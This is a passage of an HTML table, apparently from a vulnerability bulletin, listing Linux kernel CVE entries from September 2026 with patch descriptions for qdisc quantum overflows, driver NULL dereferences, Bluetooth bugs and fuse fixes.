&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90070&quot; target=&quot;_blank&quot;&gt;CVE-2026-90070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: sfq: clamp quantum to avoid signed overflow soft lockup sfq_init() sets q-&amp;gt;quantum = psched_mtu(qdisc_dev(sch)) (unsigned). A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes psched_mtu() return 0x80000000, so slot-&amp;gt;allot = INT_MIN and INT_MIN + INT_MIN toggles between INT_MIN and 0 forever, spinning sfq_dequeue() under the qdisc lock. Clamp the quantum to [256, 1 &amp;lt;&amp;lt; 20] so the refill loop terminates. The lower bound also covers q-&amp;gt;quantum == 0 (psched_mtu() returning 0), which spins sfq_dequeue() identically. sfq_change() already rejects a negative quantum, so only the init path was exposed. Conditions to recreate the bug: a device whose MTU (plus hard_header_len) wraps psched_mtu() into the sign bit (e.g. a dummy device with max_mtu == 0 accepting MTU 2147483634). Requires CAP_NET_ADMIN in a user namespace.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90072&quot; target=&quot;_blank&quot;&gt;CVE-2026-90072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: hhf: clamp quantum before hhf_change() to avoid overflow hhf_init() sets q-&amp;gt;quantum = psched_mtu(qdisc_dev(sch)) with no overflow check. A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes weight * quantum overflow the signed deficit in hhf_dequeue(), spinning forever. Clamp q-&amp;gt;quantum before hhf_change() so both the opt and !opt paths see a sane quantum. Without this, bare &quot;tc qdisc add ... hhf&quot; succeeds with a clamped quantum but &quot;tc qdisc add ... hhf limit 1000&quot; (any option present) fails with -EINVAL because hhf_change() re-validates the unclamped default (sch_hhf.c:559). 256 matches fq_codel&#039;s floor and is a sane minimum for a DRR quantum. Conditions to recreate the bug: a device whose MTU (plus hard_header_len) wraps psched_mtu() into the sign bit (e.g. a dummy device with max_mtu == 0 accepting MTU 2147483634). Requires CAP_NET_ADMIN in a user namespace.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90073&quot; target=&quot;_blank&quot;&gt;CVE-2026-90073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: fq_pie: clamp default quantum to avoid signed overflow fq_pie_init() sets q-&amp;gt;quantum = psched_mtu(qdisc_dev(sch)) without clamping. A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes psched_mtu() return 0x80000000, which overflows the signed flow-&amp;gt;deficit to INT_MIN in fq_pie_qdisc_dequeue(), causing an infinite loop and soft lockup. Emulate fq_pie_policy which is already bounded to [1, 1 &amp;lt;&amp;lt; 20]; clamp the default to [256, 1 &amp;lt;&amp;lt; 20]. 256 matches fq_codel&#039;s floor and is a sane minimum for a DRR quantum. Conditions to recreate the bug: a device whose MTU (plus hard_header_len) wraps psched_mtu() into the sign bit (e.g. a dummy device with max_mtu == 0 accepting MTU 2147483634). Requires CAP_NET_ADMIN in a user namespace.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90074&quot; target=&quot;_blank&quot;&gt;CVE-2026-90074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: fq_codel: clamp default quantum and mtu fq_codel_init() sets q-&amp;gt;quantum = psched_mtu(qdisc_dev(sch)) without clamping. A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes psched_mtu() return 0x80000000, which overflows the signed flow-&amp;gt;deficit to INT_MIN in fq_codel_dequeue(), causing an infinite loop and soft lockup. Emulate fq_codel_change() and constrain to [256, FQ_CODEL_QUANTUM_MAX]. The same unclamped psched_mtu() is assigned to q-&amp;gt;cparams.mtu a bit below, and fq_codel_change() never updates it. codel_should_drop() tests &quot;*backlog &amp;lt;= params-&amp;gt;mtu&quot;; with mtu == 0x80000000 (~2 GiB) and the default 32 MiB memory_limit, the test is always true, so CoDel is silently and completely disabled (no drops, no ECN). Declare a single clamped mtu and assign both q-&amp;gt;quantum and q-&amp;gt;cparams.mtu from it, which also removes the double psched_mtu() call. Conditions to recreate the bug: a device whose MTU (plus hard_header_len) wraps psched_mtu() into the sign bit (e.g. a dummy device with max_mtu == 0 accepting MTU 2147483634). Requires CAP_NET_ADMIN in a user namespace.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90075&quot; target=&quot;_blank&quot;&gt;CVE-2026-90075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: fq: add overflow bounds to quantum and initial quantum fq_init() computes quantum = 2 * psched_mtu() and initial_quantum = 10 * psched_mtu() with no overflow check. A device with a huge MTU (e.g. dummy with max_mtu == 0 accepting MTU 2147483634) makes psched_mtu() return 0x80000000; the 2 * and 10 * multiplications wrap to 0 in 32-bit arithmetic, so q-&amp;gt;quantum == 0. Then in fq_dequeue() the credit-refill loop adds 0 to f-&amp;gt;credit (which stays &amp;lt;= 0) and goto begin loops forever under the qdisc lock, creating a soft lockup. Clamp psched_mtu() to [1, 1 &amp;lt;&amp;lt; 20] before multiplying so the product cannot wrap, then cap the result at 1 &amp;lt;&amp;lt; 20, matching the bound already enforced on TCA_FQ_QUANTUM in fq_change(). Conditions to recreate the bug: a device whose MTU (plus hard_header_len) is large enough that 2 * psched_mtu() wraps (e.g. a dummy device with max_mtu == 0 accepting MTU 2147483634). Requires CAP_NET_ADMIN in a user namespace.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90076&quot; target=&quot;_blank&quot;&gt;CVE-2026-90076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: fix a resource leak in copy_net_ns() error handling path Currently, preinit_net() does two things: (1) call ns_common_init() which might fail (2) initialize resources which does not fail However, preinit_net() is returning early when (1) fails, and copy_net_ns() is jumping to the dec_ucounts: label. As a result, resources allocated by net_alloc() are leaking. We need to call key_remove_domain() and net_passive_dec() in order to release resources allocated by net_alloc(). We cannot simply jump to the put_userns: label when preinit_net() failed, for (2) is not yet done. But we can reorder (1) and (2), for there is no dependency between (1) and (2). Therefore, this patch decouples (1) from preinit_net() and changes preinit_net() back to a void function, and calls ns_common_init() after preinit_net() succeeded. Then, we can jump to immediately after ns_common_free() of the put_userns: label.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90077&quot; target=&quot;_blank&quot;&gt;CVE-2026-90077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: act_skbmod: fix length calculations and avoid invalid header warnings syzbot reported a warning in skb_network_header_len() triggered by tcf_skbmod_act(): !skb_transport_header_was_set(skb) WARNING: CPU: 0 PID: 14949 at include/linux/skbuff.h:3243 skb_network_header_len include/linux/skbuff.h:3243 [inline] WARNING: CPU: 0 PID: 14949 at net/sched/act_skbmod.c:55 tcf_skbmod_act+0xfe8/0x1810 net/sched/act_skbmod.c:55 There are a few issues in tcf_skbmod_act(): 1. Calling skb_network_header_len() assumes skb-&amp;gt;transport_header is set, which is not guaranteed when tcf_skbmod_act() runs at TC ingress. 2. Unconditionally calling skb_mac_header_len() at the beginning of tcf_skbmod_act() triggers a warning on L3 devices (e.g. TUN) where the MAC header is unset, evaluating to an underflowed garbage length. 3. On TC ingress, skb-&amp;gt;data points to the network header. Adding the MAC header length to the IP header length causes skb_ensure_writable() to request more bytes than the actual IP packet length, dropping valid short packets (e.g. 28-byte UDP/IPv4 packets). Fix these by: - Using skb_network_offset(skb) + sizeof(struct iphdr/ipv6hdr) for SKBMOD_F_ECN so that the required length is correctly calculated on both ingress (offset == 0) and egress (offset == mac_len). - Setting max_edit_len to ETH_HLEN for Ethernet header modifications after validating ARPHRD_ETHER.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90078&quot; target=&quot;_blank&quot;&gt;CVE-2026-90078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: octeontx2-af: fix cn20k mailbox lifetime on repeated rvu_mbox_init() rvu_mbox_init() is called separately for AF-PF mailboxes during probe and for AF-VF mailboxes when SR-IOV is enabled. Each call used to allocate a new ng_rvu object, leaking the first allocation when the pointer was overwritten on the second call. Sharing one ng_rvu across both paths exposed several teardown bugs: the error path freed all cn20k mailbox DMA and kfree()d ng_rvu even when only the failing init type should be unwound, leaving live AF-PF mailbox memory in use after an AF-VF init failure. mutex_init() was also re-run on the AF-VF path while AF-PF mailbox handlers could still hold rvu-&amp;gt;mbox_lock. Probe and SR-IOV failure paths did not release cn20k mailbox DMA either, since cleanup only happened in rvu_remove(). Allocate ng_rvu once with devm_kzalloc(), initialize mbox_lock in the same block, unwind only the mailbox memory for the failing init type, and free cn20k mailbox DMA from the probe and pci_enable_sriov() error paths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90079&quot; target=&quot;_blank&quot;&gt;CVE-2026-90079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: octeontx2-pf: fix NULL deref of af_xdp_zc_qidx on rep setup af_xdp_zc_qidx tracks receive queues using AF_XDP zero-copy and is allocated during PF/VF probe. Representors and other non-AF_XDP paths leave the pointer NULL, but several call sites used test_bit() on it unconditionally. Switching to devlink eswitch mode creates representors and runs otx2_init_hw_resources(), which reaches otx2_pool_aq_init() and oopses when dereferencing the NULL bitmap. Add NULL checks before every af_xdp_zc_qidx test_bit() use in the RSS, ethtool, XSK, and pool init paths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90080&quot; target=&quot;_blank&quot;&gt;CVE-2026-90080&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/rds: use wq_has_sleeper() in rds_cong_map_updated() rds_cong_map_updated() runs after a peer&#039;s congestion map has been rewritten (by rds_tcp_cong_recv() and rds_ib_cong_recv(), or the clear-all in the loopback and IB send-completion paths). It bumps rds_cong_generation and then checks waitqueue_active() on map-&amp;gt;m_waitq and on rds_poll_waitq to decide whether anyone needs waking. atomic_inc() carries no ordering and waitqueue_active() is a plain load, so nothing orders the map and generation stores before the wait queue reads. The waiters do the mirror image: rds_cong_wait() adds itself to m_waitq and then tests the port bit, and rds_poll() registers on rds_poll_waitq and then reads the generation. That is the store-buffering pattern described above waitqueue_active() in include/linux/wait.h - the updater can observe an empty wait queue while the waiter still observes the port as congested, and no wake-up is issued. rds_cong_wait() is an interruptible sleep with no timeout, so a sender blocked on a congested port stays blocked until the next congestion update from that peer arrives or a signal is delivered. A poll() waiter misses the map-updated notification the same way. Use wq_has_sleeper(), which is waitqueue_active() preceded by the required full barrier, as rds_tcp_state_change() already does for the same pattern.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90081&quot; target=&quot;_blank&quot;&gt;CVE-2026-90081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: mana: Cap MSI-X vectors to the device MSI-X table size mana_gd_query_max_resources() sizes gc-&amp;gt;num_msix_usable from resp.max_msix and the CPU count, but never from the device MSI-X table. On a 1792 vCPU M-series VM that yields 1793 while the table has 1024 entries, and mana_gd_setup_remaining_irqs() then walks indices 1..1792, running off the end of the region mapped by msix_map_region(): BUG: unable to handle page fault for address: ff8e347f8b99800c RIP: 0010:msix_prepare_msi_desc+0x7a/0x90 RAX: 0000000000004000 RBX: ff4330cb164ea780 RCX: ff8e347f8b998000 Call Trace: &amp;lt;TASK&amp;gt; __msi_domain_alloc_irqs+0x13a/0x440 msi_domain_alloc_irq_at+0x149/0x1b0 mana_gd_setup+0x351/0x890 mana_gd_probe+0x274/0x390 &amp;lt;/TASK&amp;gt; RAX is index 1024 * PCI_MSIX_ENTRY_SIZE, one entry past the table. msi_insert_desc() does range check the index, but only against the MSI domain hwsize, which matches the table only for devices on an MSI parent domain. With a global PCI/MSI domain hwsize is MSI_XA_DOMAIN_SIZE, so nothing bounds the request. Cap num_msix_usable with pci_msix_vec_count().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90082&quot; target=&quot;_blank&quot;&gt;CVE-2026-90082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: act_ife: Only operate on Ethernet frames act_ife encapsulates/decapsulates the original Ethernet header and uses skb-&amp;gt;dev-&amp;gt;hard_header_len as the length of that header. That is only correct for Ethernet devices: on a device where hard_header_len does not match the L2 header that was actually pulled (PPP reports PPP_HDRLEN while nothing is stripped on ingress), the ingress skb_push()/skb_pull() use the wrong length and can hit skb_under_panic when headroom is tight. IFE is Ethernet-only by design - it builds an outer ethhdr, rewrites h_source/h_dest/h_proto, and calls eth_type_trans() on decode - so instead of trying to make the offsets work for arbitrary link types, simply drop packets that do not carry an Ethernet header. Checking skb-&amp;gt;dev-&amp;gt;type alone is not enough. We have to cater for a corner case where mirred can redirect an skb from a non-Ethernet device to an Ethernet one, and skb-&amp;gt;dev then says nothing about the framing the skb actually has: an skb redirected from ppp0 reaches the target&#039;s ingress hook with mac_len 0 and no Ethernet header at all. So at ingress also require mac_len to be ETH_HLEN. On egress mac_len is not maintained, so the device type is all we have; a bogus redirect there yields a malformed frame rather than an out-of-bounds push, and it would be malformed with or without IFE. That corner case is not theoretical - redirecting from ppp0 into a veth that has an ife encode action on its ingress hook panics without this patch: skbuff: skb_under_panic: len:98 put:14 head:ffff88800e410000 data:ffff88800e40fff5 tail:0x57 end:0x640 dev:veth3 kernel BUG at net/core/skbuff.c:214! Call Trace: skb_push (net/core/skbuff.c:224 net/core/skbuff.c:2657) tcf_ife_act (net/sched/act_ife.c:829 net/sched/act_ife.c:874) tc_run (net/core/dev.c:4463) netif_receive_skb (net/core/dev.c:6463 net/core/dev.c:6522) tcf_mirred_to_dev (net/sched/act_mirred.c:248 net/sched/act_mirred.c:328) tcf_mirred_act (net/sched/act_mirred.c:489) tc_run (net/core/dev.c:4463) process_backlog (net/core/dev.c:6728) With Ethernet framing guaranteed, use ETH_HLEN instead of hard_header_len.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90083&quot; target=&quot;_blank&quot;&gt;CVE-2026-90083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: octeontx2-vf: fix workqueue and netdev race in probe/remove Initialize the VF workqueue before register_netdev() so ndo_set_rx_mode does not queue work on a NULL workqueue. Unregister the netdev before destroying the workqueue, and add proper probe error cleanup.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90084&quot; target=&quot;_blank&quot;&gt;CVE-2026-90084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: octeontx2-af: fix NULL deref in NIX TM tree debugfs read path rvu_dbg_nix_tm_tree_display() dereferences pfvf-&amp;gt;sq_ctx without checking whether the SQ context has been allocated. Reading /sys/kernel/debug/octeontx2/nix/tm_tree for a NIX LF whose transmit queues are not set up triggers a kernel oops. Guard the read path the same way rvu_dbg_nix_tm_tree_write() already does and return -EINVAL with a seq_file message when sq_ctx is NULL.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90085&quot; target=&quot;_blank&quot;&gt;CVE-2026-90085&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xsk: honor XDP_TX_METADATA in zero-copy path The zero-copy path reads TX metadata whenever the UMEM has metadata space, even if the descriptor does not set XDP_TX_METADATA. Pass descriptor options through the metadata helpers and ignore metadata unless the option is set. This does not fix the existing per-WQE metadata handling for mlx5 MPWQEs. Only the descriptor that starts a session passes through xsk_tx_metadata_request() and configures offload state shared by the batch. Metadata on descriptors joining an open session is therefore not validated and does not configure its requested offloads. In addition, a non-NULL metadata pointer from such a descriptor is treated as a timestamp completion request even when XDP_TXMD_FLAGS_TIMESTAMP is not set, so its metadata union can be overwritten with an unrequested timestamp. Fixing mixed metadata states within one MPWQE requires a separate change.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90086&quot; target=&quot;_blank&quot;&gt;CVE-2026-90086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: do not leak an hci_conn when a second LE connect is rejected create_le_conn_complete() decides whether the failed connection is still pending by comparing it against hci_lookup_le_connect(), which returns the first LE connection in BT_CONNECT. That is the same connection only while at most one is pending. Two can be pending. Connections created on the passive scan path sit in BT_CONNECT with HCI_CONN_SCANNING set and are invisible to hci_lookup_le_connect() until hci_le_create_conn_sync() clears the flag when their command is issued, so the -EBUSY guard in hci_connect_le() does not prevent a second connection from being queued while the first is still on the scan path. Whenever two connections are in BT_CONNECT at once, the lookup may return one connection while create_le_conn_complete() is reporting the failure of the other; the early exit then drops the error and hci_conn_failed() never runs on the connection that failed. The controller also rejects a second HCI_OP_LE_CREATE_CONN issued while another connection creation is still outstanding, per Core Spec Vol 4, Part E. The spec calls for Command Disallowed there; the bcm43438 observed here answers with an LMP/LL error code instead, which bt_to_errno() maps to the -EPROTO (-71) in the log below. The leaked connection stays in BT_CONNECT forever, and because hci_connect_le() refuses to dial while hci_lookup_le_connect() finds anything, every subsequent attempt to reach any peer fails with -EBUSY and no command reaches the controller at all. Seen on a bcm43438 with two BLE peers polled on the same interval (state 5 is BT_CONNECT; both handles are UNSET ones, allocated from the ida above HCI_CONN_HANDLE_MAX): Bluetooth: hci1: Opcode 0x2013 failed: -71 # hcitool con &amp;lt; LE 14:9C:EF:03:68:81 handle 3840 state 5 lm CENTRAL &amp;lt; LE C4:D3:6A:8C:B5:38 handle 3841 state 5 lm CENTRAL A btmon capture across the next ten minutes of connect attempts contains no HCI_OP_LE_CREATE_CONN at all; outgoing LE connections do not recover until the adapter is reset. With this change the same scenario fails the rejected connection cleanly and further connects to both peers go through. Ask about the connection itself instead of about the device.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90087&quot; target=&quot;_blank&quot;&gt;CVE-2026-90087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: RFCOMM: Validate MTU in rfcomm_apply_pn() to prevent infinite loop rfcomm_apply_pn() accepts the MTU value from a remote PN (Parameter Negotiation) frame without checking for zero. When the remote peer sends an MTU of zero, d-&amp;gt;mtu is set to 0. This causes the sendmsg path to enter an infinite loop when fragmenting data, as each fragment has size == min_t(size_t, len, 0) == 0, so the remaining length never decreases. The infinite allocation of zero-length skbs exhausts all system memory. Fix by clamping d-&amp;gt;mtu to RFCOMM_DEFAULT_MTU when the negotiated value is zero, consistent with the initial value assigned in rfcomm_dlc_alloc().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90088&quot; target=&quot;_blank&quot;&gt;CVE-2026-90088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btmtksdio: Fix out-of-bounds DMA read in the TX path btmtksdio_tx_packet() rounds the transfer size up to the SDIO block size of 256 bytes, but hands the host controller the SKB buffer as is: err = sdio_writesb(bdev-&amp;gt;func, MTK_REG_CTDR, skb-&amp;gt;data, round_up(skb-&amp;gt;len, MTK_SDIO_BLOCK_SIZE)); Only skb-&amp;gt;len bytes hold packet data, so the controller reads up to 255 bytes of uninitialised memory and sends it to the device over the SDIO bus. Depending on how much tailroom slack the SKB allocation happens to carry, that read can also extend past the end of the buffer. Compute the padded length up front, ensure the SKB has tailroom for it, and zero-fill the padding with skb_put_zero(). skb-&amp;gt;len then covers the padding, so sdio_writesb() no longer needs to round up. byte_tx keeps counting the header and the payload only, and the error path restores the SKB so that the caller can requeue it. Writing behind skb-&amp;gt;tail is only safe because the driver owns the buffer, which &quot;Bluetooth: btmtksdio: Take exclusive ownership of the SKB before TX&quot; ensures.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90090&quot; target=&quot;_blank&quot;&gt;CVE-2026-90090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm64: process: Fix context switching MTE store-only tag check SCTLR_EL1.TCSO0 is set when user opt-in for MTE store-only tag check mode. However, it is not part of SCTLR_USER_MASK which imply that on context switch we never clear SCTLR_EL1.TCSO0, so we are leaking that setting into another task. Fix that by including SCTLR_EL1_TCSO0_MASK into SCTLR_USER_MASK&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90094&quot; target=&quot;_blank&quot;&gt;CVE-2026-90094&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fuse: Fix the condition to enable over-io-uring The existing condition in fuse_uring_cmd() is there only to avoid disabling io-uring for connections that already run with it, missing was a condition to refuse any IORING_OP_URING_CMD if the connection/channel didn&#039;t get enabled because of missing FUSE_INIT reply flag FUSE_OVER_IO_URING. Without the reply flag the barrier in fuse_uring_ready() doesn&#039;t work and IO could already be going on and cause deadlock states (at a minimum one between fch-&amp;gt;bg_lock and queue-&amp;gt;lock). The change itself is trivial, but brings behavior change, FUSE_OVER_IO_URING has to be set in the FUSE_INIT_REPLY by fuse servers to accept any IORING_OP_URING_CMD. Libfuse does that and the only non-libfuse implementation I found (fractal-fuse) also does it. Qemu patches for fuse-io-uring are not merged yet, as far as I know. Moved up is the smp_load_acquire(&amp;amp;fch-&amp;gt;initialized) check, as a fuse-server implementation might try to setup io-uring before FUSE_INIT is processed and might have gotten -EOPNOTSUPP instead of -EAGAIN. Also fixed is a stale comment that explains the handling of the FUSE_OVER_IO_URING flag in early RFC versions. If there should be a report from any library or application we probably need to revert this commit.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90095&quot; target=&quot;_blank&quot;&gt;CVE-2026-90095&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fuse: invalidate the correct range after O_APPEND direct write fuse_direct_write_iter() captures pos before generic_write_checks(), which moves ki_pos to EOF for O_APPEND writes: fuse_direct_write_iter() { pos = iocb-&amp;gt;ki_pos; /* 0 (user-supplied) */ generic_write_checks(); /* ki_pos -&amp;gt; EOF */ fuse_direct_io(); /* writes at EOF, correct */ invalidate(pos, pos + res); /* [0, res) -- wrong */ } The post-write invalidation targets a stale range instead of the actual written range at EOF. This can cause data inconsistency when the file size is not page-aligned. The tail page straddling EOF has a valid portion before EOF that concurrent readers can fault back in during the DIO write window: Tail page (file size X not page-aligned): page_start X (EOF) page_end |--- valid data ----|-- stale --| CPU0 (O_APPEND DIO writer) CPU1 (buffered reader) -------------------------- ---------------------- invalidate [X, X+len) tail page evicted FUSE_WRITE in flight ... read [page_start, X) tail page re-faulted [X, page_end) = stale FUSE_WRITE completes i_size = X + len invalidate [0, len) &amp;lt;- WRONG tail page still cached read [X, X+len) hits stale tail page returns old data Fix by reading pos back from iocb-&amp;gt;ki_pos after generic_write_checks(), as generic_file_direct_write() does. Also fix a typo in the comment (&quot;may have&quot; -&amp;gt; &quot;may have competed&quot;).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90096&quot; target=&quot;_blank&quot;&gt;CVE-2026-90096&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
